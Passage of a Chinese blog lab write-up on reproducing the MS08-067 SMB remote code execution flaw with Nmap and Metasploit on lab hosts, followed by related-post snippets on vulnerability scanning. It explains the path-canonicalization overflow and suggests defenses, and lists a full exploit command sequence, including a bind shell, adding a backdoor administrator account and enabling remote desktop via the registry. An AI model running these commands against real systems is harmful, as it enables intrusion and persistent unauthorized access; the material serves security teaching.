    在这里插入图片描述

    最终作者解决了XP系统无法提权的问题,在调用“show payloads”设置攻击载荷时,当我采用“set payload generic/shell_reverse_tcp”就会报错,最后我将Payload修改为“set payload generic/shell_bind_tcp”。

    • 反弹shell失败:set payload generic/shell_reverse_tcp
    • 反弹shell成功:set payload generic/shell_bind_tcp

    如果仍然失败,可能需要换其他XP或2003系统进行尝试。祝好运~

    在这里插入图片描述


    2.漏洞成因

    如果想了解该漏洞的原理知识,推荐以下三篇文章,后续作者也需要深入去分析各种漏洞的原代码。

    MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的,而NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中发生了栈缓冲区内存错误,造成可被利用实施远程代码执行。

    所谓路径规范化,就是将路径字符串中的【/】转换为【\】,同时去除相对路径【.\】和【..\】。如:
    **/*/./**   =>  **\*\**
    **\*\..\**  =>  **\**
    

    在路径规范化的操作中,服务程序对路径字符串的地址空间检查存在逻辑漏洞。攻击者通过精心设计输入路径,可以在函数去除【…\】字符串时,把路径字符串中内容复制到路径串之前的地址空间中(低地址),达到覆盖函数返回地址,执行任意代码的目的。

    这里通过IDA Pro打开c:\windows\system32\netapi32.dll,找到漏洞所在的NetpwPathCanonicalize函数并双击。通过观察其流程图CFG可知,此函数并没有直接进行输入路径和规范化,而是调用了下级函数CanonicalizePathName来进行路径整理,将待整理的路径字符串进行规范化,然后再保存到预先分配的输出路径缓冲区buffer中,最终造成缓冲区溢出漏洞。

    在这里插入图片描述



    五.总结

    写到这里,这篇文章就介绍结束了,通过本次实验我们复现了MS08-067远程代码执行漏洞,涉及漏洞发现、验证漏洞、利用漏洞的完整过程,并利用Metasploit工具进行shell反弹及深入理解,希望对您有所帮助。如何进行防御呢?一方面关闭相关端口、安装杀毒软件和补丁,另一方面在防火墙中进行流量监测,主要是针对数据包中存在的形如"\ ** \ … \ … \ *"这样的恶意路径名进行检测,最为保险的方法是使用pcre正则去匹配。

    本次实验的完整命令:

    # 端口查询
    nmap -n -p 445 --script smb-vuln-ms08-067 192.168.44.135 --open
    
    # 查找漏洞利用模块
    msfconsole
    search ms08-067
    
    # 漏洞利用
    use exploit/windows/smb/ms08_067_netapi
    show options
    show targets
    
    # 设置相关配置信息
    set RHOST 192.168.44.135
    set RPORT 445
    set payload generic/shell_bind_tcp
    set LHOST 192.168.44.136
    set target 0
    show options
    
    # 反弹shell
    exploit
    session 1
    ipconfig
    pwd
    
    # 目标主机文件操作
    cd ..
    mkdir hacker
    dir
    cd hacker
    echo eastmount>test.txt
    sysinfo
    
    # 深度提权及远程连接操作
    net user hacker 123456 /add 
    net localgroup administrators hacker /add
    echo reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f > C:\WINDOWS\system32\3389.bat && call 3389.bat
    netstat -an
    rdesktop 192.168.44.135
    

    真的感觉自己技术好菜,要学的知识好多。作为初学者,我们可能有差距,不论你之前是什么方向,是什么工作,是什么学历,是大学大专中专,亦或是高中初中,只要你喜欢安全,喜欢渗透,就朝着这个目标去努力吧!有差距不可怕,我们需要的是去缩小差距,去战斗,况且这个学习的历程真的很美,安全真的有意思。但切勿去做坏事,我们需要的是白帽子,是维护我们的网络,安全路上共勉。

    最后,真诚地感谢您关注“娜璋之家”公众号,也希望我的文章能陪伴你成长,希望在技术路上不断前行。文章如果对你有帮助、有感悟,就是对我最好的回报,且看且珍惜!再次感谢您的关注,也请帮忙宣传下“娜璋之家”,哈哈~初来乍到,还请多多指教。顺便说一句,今天CSDN账号的粉丝破十万了,还挺开心的。

    在这里插入图片描述

    (By:Eastmount 2020-12-28 夜于武汉 https://blog.csdn.net/Eastmount)


    参考文献:


    展开全文
  • Windows漏洞 大多是预编译的Windows漏洞,主要来自
  • 通过使用Kali主机扫描工具Nmap和漏洞利用工具Msf来发现目标主机的系统漏洞和软件服务漏洞。因为很多教程只说了用什么漏洞去攻击,但是前提是该主机存在漏洞或者是该漏洞未被安装补丁(该Kali已经实体化在笔记本电脑...

    通过使用Kali主机扫描工具Nmap和漏洞利用工具Msf来发现目标主机的系统漏洞和软件服务漏洞。因为很多教程只说了用什么漏洞去攻击,但是前提是该主机存在漏洞或者是该漏洞未被安装补丁(该Kali已经实体化在笔记本电脑上)

    • 一.工具介绍

    namp 一款可以探测主机的基本信息的扫描工具,数据包中包含扫描主机的开启端口,端口使用的服务,和一些系统信息。
    msf一个极为强大的漏洞利用工具不管是系统漏洞,还是软件服务漏洞。MSF基本都有较为强大的漏洞数据库来匹配

    • 二.创建攻击组织,搭建网络实验环境

    Kali IP地址 10.117.12.221 (Kali连接的是WIFI)
    入侵目标 IP地址 10.117.0.15
    本教程给的是跨网段去探测主机漏洞,如果Nmap在扫描网段主机时扫描不到存活主机请设置系统防火墙或者是杀毒软件

    • 通过Nmap专项扫描目标主机存在系统漏洞(只能系统漏洞利用)

    打开终端输入 nmap --script = vuln ip (扫描指定IP主机存在的系统漏洞)
    因为我要扫描10.117.0.15的目标主机存在的漏洞所以代码是
    nmap --script = vuln 10.117.0.15
    这时过一会就会出现该系统存在一些漏洞
    在这里插入图片描述
    显示host script results就是该主机存在的漏洞

    • 通过msf数据库查找此系统漏洞

    search 该主机漏洞名称
    因为我主机存在很多漏洞我就随便挑一个ms10-054漏洞
    search ms10-054 回车
    就出现了所有MSF数据库中的关于ms10-054的漏洞
    在这里插入图片描述

    • 使用nmap深度扫描目标系统的软件漏洞(只能用于软件漏洞的利用)

    nmap -T4 -A -v IP (深度扫描指定IP主机的全部信息)
    因为我要扫描的主机是10.117.0.15
    所以代码是nmap -T4 -A -v 10.117.0.15
    不过一会系统的所有信息就出来了,但是我们只需要看白色PROT 端口信息部分就行了它能显示什么端口开着什么服务
    在这里插入图片描述
    举个例子我要用135端口开启的Microsoft Windows RPC服务去实现软件服务漏洞利用
    我就得打开msf
    去输入search Microsoft Windows RPC (关于Microsoft Windows RPC的软件服务漏洞)
    然后会出现很多的关于Microsoft Windows RPC的软件漏洞在这里插入图片描述

    • 注意:这就是通过nmap去扫描指定IP存在的软件漏洞和系统漏洞,但这仅仅是该系统存在该软件或者是系统漏洞,至于该漏洞里面的漏洞利用尽量选great级别的漏洞,然后再去一个一个调用查看是否数据库中下的该漏洞可以被利用。
    展开全文
  • 翻译国外的一个二进制漏洞学习教程, 非常适合刚学习漏洞的新人。
  • 翻过国外的一个二进制漏洞学习教程, 非常适合刚学习漏洞的新人。
  • 系统安全系列作者将深入研究恶意样本分析、逆向分析、攻防实战和Windows漏洞利用等,通过在线笔记和实践操作的形式分享与博友们学习,希望能与您一起进步。前文介绍了MS08-067远程代码执行漏洞(CVE-2008-4250),它...
  • fb工具目录:Shadow Brokers 公布的NSA方程式组织黑客工具包Windows部分工具,里面包含了IIS6.0、445端口、3389端口、Rootkit等远程利用工具。 主要工具简介: EternalBlue(永恒之蓝) : SMBv1 漏洞攻击工具,...
  • 本地溢出提权首先要有服务器的一个普通用户权限,攻击者通常会向服务器上传本地溢出程序,在服务器端执行,如果系统存在漏洞,那么将溢出Administrator权限。以下是不同系统提权的漏洞和相应的补丁。

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 70,266
精华内容 28,106
关键字:

windows漏洞利用

友情链接: u-boot-1.1.6.rar